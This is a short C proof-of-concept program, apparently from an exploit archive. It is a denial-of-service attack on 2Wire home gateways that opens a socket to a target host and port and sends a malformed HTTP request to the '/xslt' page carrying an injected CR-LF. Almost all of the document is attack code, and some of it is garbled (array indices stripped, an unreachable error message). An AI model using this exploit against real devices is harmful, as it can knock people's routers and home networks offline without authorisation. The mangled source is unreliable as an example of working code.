////////////////////////////////// //////////////////////////////////////////////////// //// This Poc was coded using Dev-C++ 4.9.9.2 //// If you have any error with the librarys you need //// include libws2_32.a at the project. ////#pragma comment(lib,"libws2_32.a") #include <string.h> #include <stdio.h> #include <stdlib.h> #include "winsock2.h" unsigned long dir; char h=""; short port; char badreq=""; int state; int main(int argc, char *argv) { printf("\n###\n"); printf("#\n"); printf("# PoC of DoS 2wire_Gateway\n"); printf("# By IIdan192\n"); printf("# http://www.rotter.name\n"); printf("#\n"); printf("#\n\n"); if (argc<4){ printf(" %s $Host $Port $Variable\n",argv); printf("\n %s 192.168.1.254 80 PAGE\n",argv); return 0; } //Crear socket WSADATA wsaData; WSAStartup(MAKEWORD(2,2),&wsaData); SOCKET wsck; //Estructuras struct sockaddr_in Wins; struct hostent *target; //Wins Wins.sin_family=AF_INET; Wins.sin_port=htons((short)atoi(argv)); target=gethostbyname(argv); Wins.sin_addr.s_addr=inet_addr(inet_ntoa(*(struct in_addr *)target->h_addr)); //llamamos al socket wsck=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,(int unsigned)NULL,(int unsigned)NULL,(int unsigned)NULL); //Verifica por error if (wsck==SOCKET_ERROR){printf("Error al crear el socket =!..");WSACleanup();return 0;} printf("Socket creado correctamente!.. hWndl: %d",wsck); //Conecta if(WSAConnect(wsck,(SOCKADDR*)&Wins,sizeof(Wins),NULL,NULL,NULL,NULL)==SOCKET_ERROR){ WSACleanup(); return 0; printf("\nError al conectar =!.."); } printf("\nConectado!.."); //Make a bad query and send it ..Mwajuajua!.. strcat(badreq,"GET /xslt?"); strcat(badreq,argv); strcat(badreq,"=%0D%0A HTTP/1.0\r\n"); strcat(badreq,"Accept-Language: es-mx\r\n"); strcat(badreq,"User-Agent: MexHackTeam\r\n"); strcat(badreq,"Host: "); strcat(badreq,argv); strcat(badreq, "\r\n\r\n\r\n"); send(wsck , badreq ,(int)strlen(badreq), 0); printf("\nDatos Mandados!.."); //finalized Sleep(100); printf("\nThat's all, Check this out!...\n"); WSACleanup(); return 0; } //////////////////////////////////////////// ////////////////////////////////////////////////////
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